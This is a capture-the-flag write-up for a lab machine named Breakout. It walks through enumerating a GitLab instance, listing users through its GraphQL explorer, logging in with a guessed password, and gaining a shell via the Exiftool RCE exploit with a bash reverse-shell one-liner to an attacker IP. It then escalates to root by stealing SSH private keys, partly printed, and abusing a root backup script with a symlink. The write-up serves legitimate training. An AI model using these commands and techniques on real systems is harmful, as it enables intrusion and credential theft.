Breakout

Last updated 1 year ago

Breakout

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 192.168.183.182
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 15:28 +08
Warning: 192.168.183.182 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.183.182
Host is up (0.17s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

Web Enum -> GraphQL

Port 80 reveals a Gitlab instance:

I tried registering a user, but it wasn't allowed since the Gitlab administrator needed to approve first. I ran a feroxbuster scan to enumerate directories.

$ feroxbuster -u http://192.168.183.182
200      GET      264l     1543w        0c http://192.168.183.182/search
200      GET      353l     2789w        0c http://192.168.183.182/help
301      GET        1l        5w       98c http://192.168.183.182/profile => http://192.168.183.182/-/profile
200      GET      363l     1838w        0c http://192.168.183.182/public
302      GET        1l        5w      105c http://192.168.183.182/snippets => http://192.168.183.182/explore/snippets
302      GET        1l        5w       96c http://192.168.183.182/projects => http://192.168.183.182/explore
401      GET        0l        0w        0c http://192.168.183.182/v2
302      GET        1l        5w      103c http://192.168.183.182/groups => http://192.168.183.182/explore/groups
200      GET      441l     2057w        0c http://192.168.183.182/webmaster
200      GET      441l     2057w        0c http://192.168.183.182/root
200      GET      363l     1838w        0c http://192.168.183.182/explore

There wasn't much from this though. I searched for Gitlab enumeration, hoping to get someone'e cheatsheet on how to enumerate Gitlab instances, but found this instead:

I tried their PoC of accessing Gitlab using /-/graphql-explorer, and it worked:

The CVE above mentions that this allows us to enumerate users using this query:

{users{nodes{id name username}}}

We have 2 new users, coaran and michelle. Then, we can login with michelle:michelle:

Gitlab RCE

Using this user, we can enumerate the version of Gitlab running:

This is vulnerable to the Gitlab Exiftool RCE exploit.

$ python3 exploit.py -u michelle -p michelle -c "bash -c 'bash -i >& /dev/tcp/192.168.45.208/4444 0>&1'" -t http://192.168.183.182
[1] Authenticating
Successfully Authenticated
[2] Creating Payload 
[3] Creating Snippet and Uploading

Privilege Escalation

LinPEAS -> SSH Key

I ran linpeas.sh and it found some potential SSH keys.

[+] Searching ssl/ssh files
ChallengeResponseAuthentication no                                                           
UsePAM yes
Possible private SSH keys were found!
/var/opt/gitlab/backups/mykey
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
 --> /etc/hosts.allow file found, read the rules:
/etc/hosts.allow

We can read the file and verify that it is an SSH key:

git@breakout:/tmp$ cat /var/opt/gitlab/backups/mykey 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4eDGWPfq/wKo4whXeFRr8Dq+wgoCClqpJmxRajPmCaSrULo/uPad
<TRUNCATED>

We know that there are 2 users on the machine, and I tested with both. Using this key, we can ssh in as coaron:

Pspy -> Symlink Exploit

linpeas.sh didn't reveal much, so I ran a pspy64 instead. I found some interesting processes involving zip files:

2023/07/12 07:46:01 CMD: UID=0    PID=320345 | bash /opt/backups/backup.sh 
2023/07/12 07:46:01 CMD: UID=0    PID=320346 | /usr/bin/zip -r /opt/backups/log_backup.zip /srv/gitlab/logs/alertmanager /srv/gitlab/logs/gitaly /srv/gitlab/logs/gitlab-exporter /srv/gitlab/logs/gitlab-rails /srv/gitlab/logs/gitlab-shell /srv/gitlab/logs/gitlab-workhorse /srv/gitlab/logs/grafana /srv/gitlab/logs/logrotate /srv/gitlab/logs/nginx /srv/gitlab/logs/postgres-exporter /srv/gitlab/logs/postgresql /srv/gitlab/logs/prometheus /srv/gitlab/logs/puma /srv/gitlab/logs/reconfigure /srv/gitlab/logs/redis /srv/gitlab/logs/redis-exporter /srv/gitlab/logs/sidekiq /srv/gitlab/logs/sshd

coaran@breakout:/tmp$ cat /opt/backups/backup.sh 
/usr/bin/zip -r /opt/backups/log_backup.zip /srv/gitlab/logs/*

Since this is being run by root, we can create a symlink here that points towards the root user's private SSH key. However, we cannot view the files or write to it as coaron, but it seems the git user can on the Docker container its in.

git@breakout:/srv$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
loop0    7:0    0 55.5M  1 loop 
loop1    7:1    0 55.5M  1 loop 
loop2    7:2    0 61.9M  1 loop 
loop3    7:3    0 61.9M  1 loop 
loop4    7:4    0 43.6M  1 loop 
loop5    7:5    0 67.2M  1 loop 
loop6    7:6    0 67.9M  1 loop 
sda      8:0    0   10G  0 disk 
├─sda1   8:1    0    1M  0 part 
└─sda2   8:2    0   10G  0 part /var/log/gitlab
sr0     11:0    1 1024M  0 rom

git@breakout:/var/log/gitlab$ ls -la
total 80
drwxr-xr-x 20 root              root       4096 Mar  3  2022 .
drwxr-xr-x  1 root              root       4096 Feb 23  2021 ..
drwx------  2 gitlab-prometheus root       4096 Feb 17 17:18 alertmanager
drwx------  2 git               root       4096 Jul 12 07:37 gitaly
drwx------  2 git               root       4096 Jul 12 07:28 gitlab-exporter
drwx------  2 git               root       4096 Jul 12 07:38 gitlab-rails
drwx------  2 git               root       4096 Mar  3  2022 gitlab-shell
drwx------  2 git               root       4096 Jul 12 07:28 gitlab-workhorse
drwx------  2 gitlab-prometheus root       4096 Feb 17 17:18 grafana
drwx------  2 root              root       4096 Jan 30 10:45 logrotate
drwxr-x---  2 root              gitlab-www 4096 Feb 17 00:28 nginx
drwx------  2 gitlab-psql       root       4096 Feb 17 17:18 postgres-exporter
drwx------  2 gitlab-psql       root       4096 Feb 17 17:18 postgresql
drwx------  2 gitlab-prometheus root       4096 Jul 12 07:28 prometheus
drwx------  2 git               root       4096 Feb 17 17:18 puma
drwxr-xr-x  2 root              root       4096 Feb 16 17:18 reconfigure
drwx------  2 gitlab-redis      root       4096 Jul 12 07:27 redis
drwx------  2 gitlab-redis      root       4096 Feb 17 17:18 redis-exporter
drwx------  2 git               root       4096 Jul 12 07:27 sidekiq
drwxr-xr-x  2 root              root       4096 Jan 30 10:45 sshd

We can then create the symlink here:

git@breakout:/var/log/gitlab/gitaly$ ln -s /root/.ssh/id_rsa test1

Afterwards, we just need to wait for a bit before the script executes and makes a new zip file in /opt/backups. Once it does, copy the folder elsewhere and unzip it to reveal the SSH private key of root:

coaran@breakout:/dev/shm/srv/gitlab/logs/gitaly$ cat test1
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAzAu+X5sUIUBGFen/rkbr6M09cLPZvlsrphqkjcZQ48zivybhHMIJ
<TRUNCATED>

We can then use this key to ssh in as root:

Rooted!